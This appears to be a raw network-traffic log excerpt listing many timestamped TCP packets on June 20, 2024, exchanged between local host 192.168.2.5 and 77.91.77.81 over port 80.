Jun 20, 2024 15:38:06.315510035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315542936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.317907095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.317923069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.317939043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.317953110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.317967892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.317984104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318016052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318052053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318331957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318347931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318361998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318377018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318392992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318408012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318429947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318469048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318469048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318726063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318741083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318757057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318772078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318787098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318803072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.318819046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318852901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.318882942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319185019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319200993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319217920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319231987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319246054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319262981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319266081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319295883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319320917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319473028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319555044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319566011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319581985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319655895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319678068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.319684982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.319737911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.324693918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324775934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324801922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.324836969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.324853897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324868917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324949980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324953079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.324965954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324975014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.324984074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.324994087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.325012922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.325041056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.432533026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.432581902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.432712078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.432712078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.432740927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.432776928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.432794094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.432811975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.432832956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.432856083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.433209896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.433243990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.433275938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.433309078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.433331013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.433988094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434026957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434082985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434109926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434545040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434595108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434638023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434644938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434662104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434680939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434700012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434715033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434737921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434745073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.434762001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.434801102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436088085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436121941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436151028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436177015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436183929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436199903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436239004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436526060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436563015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436595917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436621904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436630964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436650038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436650038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436665058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436675072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436700106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436721087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436733007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436759949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436768055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436780930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436804056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436825991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436837912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436866045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436872959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.436891079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.436924934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438541889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438579082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438612938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438642979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438646078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438673019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438680887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438690901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438716888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438739061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438749075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438764095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438783884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438796997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438817978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438836098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438853025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438867092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438886881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438903093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438921928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.438935995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.438976049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439738989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439774990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439806938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439835072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439840078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439862967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439862967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439873934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439891100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439908028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439918041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439940929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439964056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.439974070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.439989090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440025091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440251112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440284014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440316916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440344095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440350056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440383911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440385103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440406084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440417051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440428972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440450907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440474987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440500975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440515995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440535069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440560102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440570116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440593004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440609932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440623045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440644979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440665007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440676928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440711021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440716028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440742016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440743923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440758944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440778017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440793037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440812111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440833092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440848112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.440871954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.440891027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.441142082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.441226959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442190886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442207098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442223072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442239046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442253113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442270041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442285061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442284107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442302942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442311049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442323923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442333937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442341089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442357063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442372084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442372084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442389965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.442394972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442424059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.442445993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.518908024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.518954039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.518966913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519026041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519036055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519042969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519079924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519099951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519110918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519126892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519162893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519185066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519198895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519215107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519246101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519251108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519273043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519301891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519339085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519355059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519368887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519387007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519387007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519412994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519443035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519535065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519551039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519566059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519582987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.519622087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.519651890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550231934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550285101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550319910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550354958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550370932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550401926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550426006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550445080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550461054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550477982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550496101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550507069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550529003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550550938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550565004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550592899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550616026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550822020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550856113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550889015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550921917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550937891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550937891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550939083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550956964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.550970078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.550991058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.551003933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.551026106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.551035881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.551059008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.551081896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.551093102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.551112890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.551126957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.551148891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.551184893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.551193953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.551249027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558037996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558087111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558120966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558135986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558155060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558166027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558166981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558191061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558201075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558248997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558439970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558474064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558506966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558532000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558538914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558572054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558573008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558572054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558599949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558609009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558620930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558643103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558660984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558676958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558696985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558711052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558723927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558744907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558765888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558779001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.558799028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.558832884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559099913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559132099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559165001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559190989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559199095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559212923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559233904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559252024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559267044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559288025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559300900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559324980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559348106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559598923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.559689999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.559961081 CEST	80	49706	77.91.77.81	192.168.2.5
